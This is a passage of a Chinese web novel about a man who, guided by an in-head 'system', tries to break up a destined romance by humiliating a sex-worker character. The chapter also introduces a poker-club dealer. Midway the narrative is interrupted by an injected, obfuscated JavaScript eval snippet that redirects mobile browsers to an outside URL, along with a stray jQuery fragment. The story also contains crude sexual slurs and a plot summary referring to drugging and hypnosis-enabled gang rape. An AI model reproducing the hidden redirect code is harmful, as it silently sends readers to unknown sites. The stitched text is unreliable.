他淡淡扫了一眼林听年,三两步走到沙发前坐下,左手边是沈景臣,右手边是林听年。
林听年的长相确实不错,但也仅仅是不错的程度,在简弋所处帅哥美女成群的环境中,算不得多么出挑。
“听张助理说,你有正事?”他装作没察觉到微妙的气氛,强压下心里那簇流动的火焰,转向沈景臣,“这看起来也不像有正事的样子啊?”
“又拿什么借口搪塞我呢,沈景臣?”
虽然措辞有些尖锐,但带着调笑的语气中和了这一点。
在原书里的这段剧情中,简弋当然没有出场,更没有闯进办公室的情节。
简弋纯粹在给自己加戏。
离近了看,沈景臣的五官更是完美无比,深邃立体,特别符合原书里对于主角攻的描写。
——前途无量,洁身自好,英俊多金的天龙人总裁。
沈景臣一向包容他的随心所欲,用眼神示意张助理关门后,才反问:
“把我这里当你家了?”
简弋笑吟吟道:“我平均一周来两次,还不能算我家么?”
这话倒是一点不夸张,他有事没事就喜欢往沈景臣这里跑。
以前沈景臣没成为总裁的时候,他就这么做了,直到现在仍旧如此。
……虽然他不知道,这样做还能持续多久。
自从进来到现在,他都忽略了林听年这么一个大活人的存在。
被打断交谈,又被他刻意忽略的林听年显然有些不自在。
但林听年久经风月场,这样被刻意忽视的场面对他来说,也不算什么难以容忍的事情。
林听年沉默着,脸上没露出任何不悦的表情,看起来很安静。
简弋随手拿起果盘里的一颗樱桃,放进嘴里,又把樱桃梗扔进旁边的小垃圾桶里。
“晚上,”简弋又挑起一个新话题,语气轻快,邀请道,“陪我去打牌啊?”
沈景臣不置可否,话锋一转,向林听年介绍道:
“这是简弋,我常玩的朋友,经常一起打德州。”
听到这样的介绍,他垂下眼眸,浓黑卷翘的睫毛倾覆。
他忽然觉得,沈景臣这里的樱桃不太好吃。
但他说不出来哪里不好吃。
大概是有些酸吧。
简弋靠在沙发背上,两条长腿交叠,姿态优雅而从容,没有半分拘束。
林听年张了张嘴,似乎想说什么。
就在那些可能的客套话脱口之前,简弋打断道:
“你先别给我介绍,让我猜一猜,这位是你喝酒碰到的?”
林听年的神色微微一变,准备好的言语全都被堵了回去,压得他心脏沉重。
简弋很轻易地分辨出那表情。
和狐朋狗友乱玩的时候,他在很多出来赚快钱卖的人的脸上,都看到过一模一样的表情。
有些难过,又有些自厌和不甘。
简弋猜测,林听年可能把他归类为不好伺候的客人角色。
但谁又在乎呢?
林听年这样认为,反而更好。
沈景臣略一颔首,“前天晚上的酒宴,你当时不在场。”
通过系统,他早就知晓沈景臣和林听年如何相遇。
但亲耳听到这个事实,他的心还是不受控地往下坠了几寸,激起火辣辣的灼烧感。
是的,那场他不在场的酒宴,就是原书里沈景臣和林听年结下孽缘的伊始。
也是素来冷静自持的沈景臣,在通往失智发疯般爱上一个卖身鸭子的不归路上,迈出的第一步。
简弋忽然很惬意地一笑。
没关系。
今天他出现在沈景臣的办公室,出现在原书里他没登场的剧情中,就是为了拆散这对尚未成形的小情侣。
简弋又挑了几颗樱桃,“讲讲你们认识的细节。”
沈景臣竟然真的讲起故事来。
一边听,他一边暗自腹诽:果然只是用正事敷衍他,如果真有紧急的事,沈景臣才不会这么有时间呢。
简单概括,起因是林听年被居心不良的老登下药。老登半拖半抱强迫林听年,林听年不甘心奋力挣扎,在与沈景臣擦肩而过的瞬间,勾住了他蓝色细白条纹的领带。
顺着力道看去,他只瞥了一眼,就发现满脸潮红的林听年有些不对劲。于是他顺理成章英雄救美。
简弋着实忍不住:“你什么时候这么好心了?”
原书主角攻受的吸引力,就这么大?大到形成专有磁场了?
令他意想不到的是,林听年回答了这个问题:“沈先生公正善良,他确实帮了我。”
说这话的时候,林听年的语气低柔下来,眼神里都漾起了细小的涟漪。
简弋没错过林听年的表情,又转头向沈景臣求证:
“是这样么,公正善良的沈总?”
在他的刻意引导下,沈景臣说出了原文里没有的台词:
“只是顺手而为。”
如此冷淡的回答让林听年的表情黯淡下来,就好像缀满繁星的夜空忽然被乌云遮蔽了光亮。
林听年无意识地攥紧了手指,指甲泛白。
他以为,自己对沈景臣是特殊的。
难道不是么?
在那个无助的晚上,他抓住了一根救命的稻草。
他以为沈景臣是不同的。
可如果,一切只是他的一厢情愿呢?
“我不小心落下了东西,”沈景臣继续解释道,“林听年今天特意给我送过来。”
剧情完全一致,简弋想。
但在他横插入这次剧情后,现实肯定不会按照原文继续发展。
简弋双腿交叠着,眼眸中流淌着些不分明的情绪。
既然要阻止主角攻受上床,那么,为什么不能用最恶毒、最粗暴的方式呢?
“过去几年里,”简弋听见自己的声音,“那么多次我都想给你送人,而你都看不上,现在终于看上这位……嗯,林听年林先生了?”
林听年的表情凝滞住了,仿佛被泼了一桶冰水。
简弋的话语仿佛是一把长剑,瞬间刺穿了林听年的身躯。
沈景臣低声叫着他的名字,声音里含着温和的警告:“简弋。”
好似有一簇火在肺腑里灼烧起来,简弋眸色渐沉,浓密卷翘的睫毛遮蔽了眼中的晦暗。
天呐。
沈景臣已经很久很久,没用这种语气警告过他了。
久到他都忘记上次是在什么场景中。
如果不是怕沈景臣认为他疯了,他真想抓着沈景臣的领子质问:原书剧情的力量真的那么强大?你究竟被下了什么迷魂咒?
单单前天和林听年见了一面,沈景臣就变成了他不认识的模样。
换作从前,沈景臣肯定不会为这样一个人,选择警告他。
即便是温和而委婉的警告也不会。
他想强迫自己更冷静,可那些无端燃起的小火苗摇曳着,就是不肯熄灭。
“那我问问其他的,”简弋冷笑,避开了沈景臣的目光,“这位林先生今年业绩怎么样啊?”
这副审犯人的姿态,显然令林听年的不悦漫溢开来。
说到底,林听年和他没有任何金钱纠葛,也没有从属关系,林听年已经算是很能忍了。
沈景臣没有再警告他,但他能感受到那道视线落在脸上的热度,黏稠得几乎拉扯不开。
他知道沈景臣没有再试图制止他的原因。
沈景臣肯定认为他生气了,沈景臣并不知道缘由,但知道这种时刻越劝阻他,他的反应越大,言辞也会越尖锐。
说到底,沈景臣还是不想让他刁难这个卖屁股的男的。
想到这点,他心里的火苗摇晃着膨胀了几分。
林听年没回答。
于是他接着问:“分了多少提成,接了多少客,又挨了多少操啊?”
空气瞬间凝固,变成了透明的冰刀,边缘锋利,生生割进了林听年的嗓子里。
同样震惊的还有系统:【您在干什么啊!】
从冰冷的电子音中,简弋居然听出了慌乱的活人感。
简弋学着系统之前一板一眼的语调:【阻止主角攻受上床。】
系统:【可您表现得就好像——】
简弋:【静音。】
他知道系统没错,即便要阻止主角攻受,也不该如此口不择言。
可他就是如此直接而不留情面。
静了静,简弋补充解释道:【沈景臣是我十多年的好朋友,我只是不想看着他往火坑里跳。】
一道声音居高临下,仿佛有什么深沉的东西缓缓沉了下来,打破了凝滞的气氛。
他听见沈景臣说:“别开这种玩笑。”
低哑磁性的嗓音通过喉结碾磨而出,令他听不出其中蕴藏的情绪。
冷静从容,既没有偏向林听年,也没有偏向他,就好像指针恰好指在中央的天平。
被恶意重伤的林听年脸上泛起惨淡的白色,眼睛里仿佛失去了高光,黑发垂落于额前。
他忽而收敛起所有的恶意,对林听年笑笑。
看到那笑容,林听年像是被烫到了一般,再也听不下去了,声音滞涩,“我想我应该走了。”
“我让人送你回去,”见到林听年站起来要走,沈景臣也起身嘱咐道,“林听年。”
简弋撑着下颌,看着两人在门口说了些什么。
沈景臣故意压低了音量,避免他听到自己和林听年的交谈。
这令他疑心沈景臣在说他的坏话。
说什么?
说“简弋就是这个样子,他处理不好任何人际关系”?
说“我打德州的朋友心情不好,改天再约”?
简弋支着脸看着那两人,看着原书里的主角攻受,直到三分钟后林听年消失在门外。
看着那道略显单薄的身影消失在门外,他真希望系统能提前降临,而不是恰好选在昨天这个尴尬的时间点。
如果系统提前一周降临,简弋就可以不顾一切把沈景臣拉离前天的酒宴,或者把林听年打包丢出这座城市。
总之,他可以有一百个方法让他们连面都见不到,将一切可能燃起的暧昧火花掐灭在摇篮中。
可惜,没有如果。
简弋眸色一沉,根根分明的睫毛垂下,尾端弯起一道平滑的弧度。
等林听年走后,沈景臣的表情倏然冷淡下来,有些不解:
“为什么要针对他,你以前认识?”
听到这个问题的瞬间,简弋没立刻理解沈景臣的意思。
不知怎么回事,自从系统降临后,他身边的人说话都像故意和他绕圈子,像竭力在维持表面的和谐。
下一秒,简弋才后知后觉地反应过来,沈景臣是在委婉地问:你以前睡过林听年么?
简弋眨了眨眼睛,睫毛翩跹着,宛如某种黑色的蝴蝶。
他的魂魄像出窍了,他感觉自己被甩了一耳光,而甩耳光的人正是他认识十多年的朋友。
过了好一会儿,简弋才微微扬起唇角,“我不睡这种万人操的脏货。”
沈景臣居高临下地望着他,眼神带着些审视,像在冷静地分析他是不是在说谎。
他感到喉咙发紧,像有什么细而痒的东西,从皮肤一直钻进了骨头缝里。
万幸的是,沈景臣很快移开了目光。
“我和他之间,没别的意思。”沈景臣没有选择与他继续争吵,揉揉眉心,缓和了语气,“你和陈泷吵架了么,火气这么大?”
“我和陈泷美美满满好着呢,”简弋无所谓地耸肩,“今早还在浴室来了一发。你想听听细节么?”
沈景臣忽略了他的问题,转而问:“他来这边了?”
“嗯,”简弋点点头,“昨天他说想我了,大约两三天再走。”
没错,陈泷和他还是异地恋。
但是陈泷的优点在于每次都会主动找他。
沈景臣终于坐下来,坐在刚刚的位置,却仍旧锲而不舍地猜测:
“打牌输钱了?输了多少?”
简弋顿时不高兴了,瞪了这人一眼,“你敢污蔑我牌品?”
开玩笑,他无限子弹无限筹码,输钱了也不会乱朝人发火。
这纯粹是在造谣!
沈景臣抬眸看着他,神情很是专注。
简弋的皮肤很白,和纯黑的发丝与眼珠形成了鲜明的对比,直直撞进沈景臣的视网膜中。
而那些细微的表情,沈景臣都未曾错过。
细细观摩着简弋的表情,他继续猜测,“那是简阿姨又——”
“停——!”
简弋像炸毛的猫似的,蛮横打断了他。
沈景臣眼神一动,唇角微翘,“不生气了?”
简弋微微一怔。
沈景臣的肩膀宽阔,整具身躯被灰色的马甲收束出精壮的轮廓。虽然侧脸看他,脊背也是挺直的。挽起的袖子下露出一截手腕皮肤,还有宽表带的腕表。
此时此刻,沈景臣等待着他的回答,眼神专注而从容。
毫无缘由地,他错开视线,视线游弋着落在桌子上的小摆件,飘摇不定,眼神显得有些空荡。
有那么一瞬间,谁也没说话,呼吸声几乎清晰可闻。
简弋觉得气氛着实诡异,又想到之前没表态的邀请,轻轻咳了一声,说:
“陪我去打德州啊。”
尾音轻飘飘地融于空气中。
沈景臣的表情不变,“我今晚真有事情。”
“你在我这里的可信度已经不高了,为了林听年都能把我拦在门外,说有正事。”简弋挑眉,“谁知道你又要去哪里喝酒玩乐?”
“所以,”沈景臣若有所思,“你只是因为这个生气?”
简弋:“……”
不是,怎么还没放弃找原因啊?
“嗯嗯嗯,”简弋索性承认道,“我就是因为这个生气了,你说怎么办吧。”
“别生气了,”沈景臣的声音低沉磁性,“是我不好。”
哦,承认错误?
简弋挑眉,但就是不说话。
“我要怎么证明自己,”沈景臣又问,“让你重新信任我?”
他看着沈景臣,觉得自己像查丈夫出轨的小妻子。
下一秒,他就被如此歹毒而恶俗的联想吓到了,飞快地把这念头打包扔进大脑深处。
简弋半开玩笑地说:“把这周的行程表发给我吧。”
他只是随口一说,打算把这件事快速揭过去,转换至下一个话题。
没想到沈景臣爽快答应:“好。”
“算了吧,”简弋改口道,“如果泄露了商业机密,我可不负责任。”
他身高腿长,颇为懒散地靠在沙发上,黑发落在脸颊旁,俊美的面容上含笑,一双狭长的眼眸却没看向沈景臣,稍微错开了些距离。
沈景臣:“不用你负责。”
五分钟后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430722|200922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他收到张助理发过来的电子行程表,上面密密麻麻用小字标注了很多东西。
沈景臣完全和他不同,简弋不合时宜地想。
他从来不需要精确的行程表,他只需要挥霍美好的青春和肉/体,不必在乎浪费的时间。
简弋垂下眼眸,扫了一眼的表格,找到了今天的日期。
事实证明沈景臣没有说谎,晚上真的有无法推脱的正事,不能陪他打牌。
确认沈景臣暂时不会找林听年后,被迫打着三份工、操着三份心的简弋又开始行动了。
他马不停蹄地开车,去往狗血文2的主角攻所在的位置。路上,系统并不认可他的行为。
系统:【您这么做太直接了,这样羞辱林听年,我怕会有变数——】
简弋:【你就说有没有效果?】
系统沉默了,简单粗暴的做法的确立竿见影。
在未被干涉的原书剧情里,林听年和沈景臣本会走加深感情的剧情点,而现在都被简弋打乱了。
刚才他邀请沈景臣打德州不是随便说说,而是早有计划。
狗血文2里的主角攻裴敛,大概率正在他常去的俱乐部打工。
在原书中,裴敛的家境不好。好赌的爸,没工作的妈,年龄尚小的妹妹,完全是地狱开局。
简弋毕业的大学学费高昂,按照正常途径,裴敛无论如何也支付不起费用。裴敛的学习成绩优秀,获得了免除学费的珍贵保送名额,才成为他名义上的学弟。
到了地方,简弋穿过一排排专门定制的牌桌,来到最里侧的隐秘位置。
一抬眼,便迎上了裴敛的视线。
裴敛微微一怔。
他的身量很高,宽肩窄腰,黑发垂在眉眼上方,露出其下挺直的鼻梁和浅色的嘴唇。
迎着简弋的目光,他扬起一个浅淡的笑容,似乎脸上所有冷淡的线条都因为这个笑容而打了弯,脸颊凹陷下一枚酒窝,变得温柔可爱起来。
而这个形容词,原本并不适用于裴敛。
简弋也笑了笑。
这家俱乐部聘用的荷官都是年轻的、拥有好看皮囊的,甚至给每个荷官都配了昂贵的制服。
制服穿在裴敛的身上,更显出些别样的气质来。
系统又冷不丁放起狗血文2的剧情概要:
【狗血文2,偏执阴湿攻裴敛在他污浊的人生中,遇到了唯一的白月光,可他憎恨明月高悬不独照他。】
此白月光,简弋想,当然也是陈泷的白月光啦。
【而后裴敛意外获得系统,操控催眠三五个人轮番玷污了白月光,让其跌入泥潭。裴敛一边听着白月光痛苦的声音欲望上涌,一边冷静地想,这样就可以彻底占有他了。】
【您是被裴敛控制,轮番玷污白月光的路人之一。】
简弋:【。】
神经病。
简弋冷冷评价道。
昨晚通宵恶补原书剧情,其中最令他感到厌恶的就是裴敛。
非要让简弋形容,就好像一头披着人皮的狼。
以前来这里打牌,他还对裴敛有些好感,没想到是个隐藏得很好的白眼狼。
盯着裴敛那双正在切牌的手,他忽然陷入了短暂的回忆。
*
上周六他来这里,照常给了裴敛一笔不菲的小费。
一整条长长的吧台后,摆满了琳琅满目的酒。牌桌区域的外围,是半包围结构的真皮卡座。大厅内,窗外柔黄的月色落进来,伴着微冷的风吹进简弋的领口。
坐在他对面的朋友问:“你是不是对裴敛有意思?”
透明的高脚杯里泼洒着绚丽的葡萄酒,银制的叉子在他的手中闪亮着,餐点的香气在空气中脉脉流淌。
“有什么意思?”
简弋问。
“你每次给他的小费都是最多的,”朋友挑眉,“别想着搞他了。”
“小费而已,”简弋回答,“你想多了,我对他没有任何意思。”
朋友继续八卦:“裴敛底薪三千,收小费能收个两万吧。”
“这么少?”
简弋不禁疑惑。
就算裴敛是兼职,加上他给的小费,也不应该只有两万吧。
朋友:“因为他不私联客人。”
简弋了然。
和客人保持太清白的距离,当然不会收到一大笔特别多的钱。
朋友喝了一口饮料,又改口道:“你可以试试,你什么人都能拿下。只要你真心想追人,就没有任何人能拒绝你的魅力。”
“我真没那个意思,”简弋敲了敲桌面,“我和陈泷谈着恋爱呢。”
陈泷是他的惯用的借口,非常好用的挡箭牌。
“况且我不追人,”简弋又补充道,这次说的是真话,“更不靠砸钱追人。”
会显得他自身魅力不足,很掉价。
简弋又不是什么五六十岁的老头,也不缺自动自觉贴上来的人,他才不搞那一套呢。
没过多久,他出去透了口气,恰巧碰到同样中场休息的裴敛。
裴敛身着制服,黑色马甲服帖地勾勒出青年的身形,臂肘附近箍着皮质的袖箍。
看起来温和而有礼。
裴敛抬眸看向他:“简先生。”
“你算是我的学弟,”冷风拂过发梢,他在这阵风里轻轻开口,“别叫这么生分。”
简弋毕业一年,裴敛还在读大三。
裴敛微微偏头,像在认真思索到底要怎么称呼他。
天空阴暗而灰蒙,云层厚重,微微湿润的风从两人中间穿行而过。
简弋把外套的拉链拉得严严实实,双手插兜,微微垂眸,黑灰色的眸子深邃,不做表情时竟然显得有些深沉而忧郁。
“那,”裴敛微微一笑,试探性地叫他,“弋哥……?”
柔和的声音在夜色里划出透明的水波,伴着风声浸入简弋的耳朵。
他们聊起学校的事情,聊起学校新建的社团俱乐部,据说还承办了比赛。金额当然不能和这里的百万赛事相比,但也是不小的进步。
“你在学校不玩这些么?”
简弋问。
“我没有太多空余的时间,”裴敛实话实说,“只要有空闲,我就要去当家教,或是来这里兼职。”
裴敛的家里一分钱不出,还要他倒贴家用。因此除去繁重的学业,裴敛的空余时间都被各种各样的兼职填满了。
比如,在德州俱乐部当发牌员,又比如,给十三四岁的小孩当家教。
从这段对白中,只要不聋就能听出来裴敛很缺钱。
简弋不聋,所以他理解了。
他也有缺钱的时候,通常发生在以前惹简知薇不开心,被断供的期间。
每当遭遇这种尴尬的时期,如果他有男朋友,就先花男朋友的钱,毕竟他男朋友通常也不缺钱。若是没处在一段稳定的关系内,他就花沈景臣的钱。
然后委屈委屈自己,在此期间里,尽量控制花销在每月一百万。
想到过去的穷苦日子,简弋就感同身受。
“你稍微放松些态度,”他不禁提醒道,“就能收到翻倍的小费。”
晦暗的光影中,裴敛的神情有些难以辨认,“我不想这么做。”
简弋没说什么。
不想反驳,也不想赞同,因为他不是裴敛,无权越界指手画脚。
“弋哥觉得我很可笑吧,”裴敛继续说,“明明缺钱才来兼职打工,却还端着一副架子。”